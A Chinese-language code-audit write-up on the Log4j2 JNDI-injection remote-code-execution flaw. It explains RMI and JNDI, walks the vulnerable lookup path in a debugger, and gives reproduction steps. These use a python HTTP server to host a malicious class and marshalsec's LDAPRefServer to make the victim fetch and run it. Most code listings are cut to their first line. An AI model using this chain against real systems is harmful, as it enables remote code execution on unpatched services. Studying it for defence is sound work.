Java代码审计-Log4j2漏洞分析
0X01 Log4j2 组件
Log4j2 日志组件是一款比较优秀的 Java程序日志监控组件,同属于 Java全生态中的基础组件之一。最近被爆出 RCE
漏洞,据不完全统计,影响多达60644个开源软件,涉及相关版本软件包更是达到321094个。且利用方式简单,之前测 XSS 的点,都可以用来插入恶意代码,被称为核弹级漏洞
。
0X02 RMI
RMI 概念
要分析 Log4j2 漏洞 就得了解一下 RMI 和 JNDI。
RMI 全称 Remote Method Invocation,是 JAVA 实现远程过程调用的应用程序编程接口,存储于 java.rmi 包中,使用期方法调用对象时,必须实现 Remote远程接口。它可以让客户机上运行的程序调用远程服务器上的对象。而远程方法调用的特性可以让开发者能够在网络环境中分布操作。RMI 宗旨就是尽可能简化远程接口对象的使用。
RMI 三层架构
- 客户端
- 存根/桩(Stub):远程对象在客户端上的代理。
- 远程引用层(Remote Reference Layer):解析并执行远程引用协议。
- 传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。
- 服务端
- 骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值。
- 远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用。
- 传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。
- 注册表
- 注册中心(Registry):以URL形式注册远程对象,并向客户端回复对远程对象的引用。
流程图-引用先知社区小阳大佬的图
觉得上图太复杂可以看这幅图-引用先知社区大佬ghtwf01
代码例子
服务端配置
先编写一个远程接口
- 该接口需要继承 Remote 类,该类仅表示 RMI 标识接口,说明可进行 RMI JAVA 虚拟机调用
- 需要声明 java.rmi.RemoteException 报错,因 RMI 通信本质是基于 “网络传输”
package RMIServer; |
远程接口实现类
- 需要继承 UnicastRemoteObject 类,用于生成 Stub(存根) 和 Skeleton(骨架)
- Stub 可以看作远程对象在本地的一个代理,囊括了远程对象的具体信息,客户端可以通过这个代理和服务端进行交互。
- Skeleton 可以看作为服务端的一个代理,用来处理Stub发送过来的请求,然后去调用客户端需要的请求方法,最终将方法执行结果返回给 Stub 。
- 构造函数需要抛出 java.rmi.RemoteException 报错,同时使用 super() 关键词调用父类构造函数
package RMIServer; |
服务端部署代码
package RMIServer; |
服务端配置完成后, RMIS 将提供的服务注册在 RMIService 上,并公开了固定路径,让客户端去访问。
客户端配置
package RMIClient; |
客户端只需要调用 java.rmi.Naming.lookup 函数,通过公开的路径从RMIService服务器上拿到对应接口的实现类, 之后通过本地接口即可调用远程对象的方法 .
首先我们启动服务端
可以看见服务端启动成功,并打印了构造函数的内容。
然后启动客户端
成功调用了 hello 方法。
完整代码
上面由于做测试,我是分成多个文件编写的,有点麻烦,可以将服务端代码写在一个文件里面。
服务端代码
import java.rmi.Naming; |
客户端代码
import java.rmi.Naming; |
服务端启动
客户端启动,成功调用了 hello 资源
大致了解了 RMI 整个流程 , 其他的就不再深入,留个坑先。
0X03 JNDI
JNDI 是 Java 命名和目录接口,全称(Java Naming and Directory Interface,缩写 JNDI ),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
JNDI 注入
JNDI
注入简单来说就是在JNDI
接口在初始化时,如:InitialContext.lookup(URI)
,如果URI可控,那么客户端就可能会被攻击。
通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference
对象,Reference
对象中指定从远程加载构造的恶意Factory
类,客户端在进行lookup
的时候,会从远程动态加载攻击者构造的恶意Factory
类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
className
- 远程加载时所使用的类名classFactory
- 加载的class
中需要实例化类的名称classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
等协议
由于Reference
没有实现Remote
接口也没有继承UnicastRemoteObject
类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper
对Reference
的实例进行一个封装。
服务端配置
import com.sun.jndi.rmi.registry.ReferenceWrapper; |
创建一个恶意代码执行类 expload
import java.lang.Runtime; |
编译成 class 文件,创建一个小型的web服务器,需在 class 文件目录下创建
python3 -m http.server 80 //创建小型web服务器 |
客户端配置
import javax.naming.InitialContext; |
成功调用
大致了解了 RMI 和 JNDI 的用法,可以开始分析一波 log4j2 漏洞原理。
0X04 环境搭建
在网上有现成的漏洞环境,这里就不在详细赘述。
漏洞环境:https://github.com/haigeek/Log4j2_RCE
IDEA导入即可。
0X05 漏洞分析
断点
跟进
logIfEnabled 判断日志是否开启,调用 isEnabled 判断,返回true,会调用 logMessage , 跟进 isEnabled
红框中 this.intLever 是 log4j2 默认设置的日志等级,用户也可修改 默认是 200
判断 >= 200 即日志成功开启, 返回 ture,随后调用 logMessage
messageFactory.newMessage 对数据进行参数化,跟进
调用 logMessageTrackRecursion 递归处理日志
跟进
获取日志打印策略 getReliabilityStrategy ,跟进 log
创建 logEvent,然后调用重载方法 log 处理 logEvent 信息
继续跟进
加锁 callAppender 一直跟进带 callAppender 的方法,一直到 tryAppend
上面跟进的流程,大致是流程就是判断日志开启,参数化,打印策略,加锁等
后续是 本次漏洞的关键点。
this.getlayout 是 PatternLayout 对象(处理日志格式对象),这里调用 PatternLayout 对象中的 encode 对日志进行处理
toText 传递了两个参数
- this.eventSerializer 是处理日志的 11 个 formatters 对象
- org.apache.logging.log4j.core.pattern.DatePatternConverter
- org.apache.logging.log4j.core.pattern.LiteralPatternConverter
- org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
- org.apache.logging.log4j.core.pattern.LevelPatternConverter
- org.apache.logging.log4j.core.pattern.LoggerPatternConverter
- org.apache.logging.log4j.core.pattern.MessagePatternConverter (重点)
- org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
- org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter
- 日志信息
遍历不同的 formatters 对象处理日志信息,此次漏洞点就是在 MessagePatternConverter 对象中
循环进入第八次时,跟进 format
this.noLookoups 为 false 即支持 jndi
这里匹配到 ${ 后,将内容交给 workingBuilder.append 匹配替换,跟进 workingBuilder.append
继续跟进 substitute
这里是将 ${
}
[:,-]
字符给替换成空了
然后循环递归提取 ${} 中的内容
提取完内容后交由 resolveVariable 处理,跟进
getVariableResolver 是 interplator 对象 ,包含 3个 map
其中 strLookup 将一些 lookup 功能关键字和对应的实例类进行了映射
后面调用 resolver.lookup 处理,跟进
这里截取 jndi 跟进 jndi 获取到对应的 JndiLookup对象,然后调用 jndi 对象的 lookup 处理 payload 信息
执行了恶意类,计算机反弹成功。
有些地方还是有些懵逼,大致了解的差不多了, 后续还需要深入学习一下
0X06 漏洞复现
marshalsec下载地址:https://github.com/mbechler/marshalsec 需自行编译成 jar 包
编译好的下载地址:https://gitee.com/fcncdn/marshalsec-0.0.3/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
在 java 目录下启个服务,得是 Exploit.java 目录,方便获取到恶意攻击类文件
python3 -m http.server 83 |
生成 class
javac Expload |
使用 marshalsec 开启 ldap 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:83/\#Exploit |
注意:exp 默认执行的是 cmd1 弹出 计算器, 如果你是 mac 要注意计算器的目录,有些可能和exp中目录不一致导致计算器弹不出来。。
做完准备工作后,运行 Test
反弹成功
0X07 参考链接
https://blog.csdn.net/angry_program/article/details/121994740
https://www.anquanke.com/post/id/263325
https://paper.seebug.org/1787/
https://paper.seebug.org/1786/